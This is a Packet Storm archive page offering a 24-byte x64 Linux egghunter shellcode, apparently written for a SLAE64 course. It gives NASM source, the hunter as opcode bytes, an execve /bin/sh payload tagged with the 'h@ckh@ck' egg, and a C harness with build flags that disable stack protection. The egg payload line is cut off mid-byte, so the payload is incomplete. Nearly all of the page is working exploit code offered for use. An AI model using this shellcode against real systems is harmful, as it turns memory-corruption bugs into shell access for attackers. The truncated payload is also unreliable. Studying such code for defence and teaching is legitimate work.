exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x64 Egghunter Shellcode

Linux/x64 Egghunter Shellcode
Posted Nov 18, 2015
Authored by David Velazquez

24 bytes small x64 Linux egghunter shellcode.

tags | shellcode
systems | linux
SHA-256 | 1e06e0764caf8310020b267c29551a9c4a6e43481e29e683f9bdcc10a431eea6

Linux/x64 Egghunter Shellcode

Change Mirror Download
/*
;Title: x64 Linux egghunter in 24 bytes
;Author: David Velázquez a.k.a d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Description: x64 Linux egghunter that looks for the string "h@ckh@ck"
; and then execute the shellcode
;Tested On: Linux kali64 3.18.0-kali3-amd64 x86_64 GNU/Linux

;Compile & Run: nasm -f elf64 -o egghunter.o egghunter.nasm
; ld -o egghunter egghunter.o
;SLAE64-1379

global _start

_start:
pop rax ; some address in the stack
search:
inc rax
cmp [rax - 4] , dword 0x6b634068 ; "h@ck"
jnz search
cmp [rax - 8] , dword 0x6b634068 ; "h@ck"
jnz search
call rax ; execute shellcode
*/
#include<stdio.h>
#include<string.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char hunter[] = "\x58\x48\xff\xc0\x81\x78\xfc\x68\x40\x63\x6b\x75\xf4\x81\x78\xf8\x68\x40\x63\x6b\x75\xeb\xff\xd0";
unsigned char egg[] = \
"\x68\x40\x63\x6b" //egg
"\x68\x40\x63\x6b" //egg
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x0$

int main()

{

printf("Hunter Length: %d\n", (int)strlen(hunter));

(*(void (*)()) hunter)();

}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close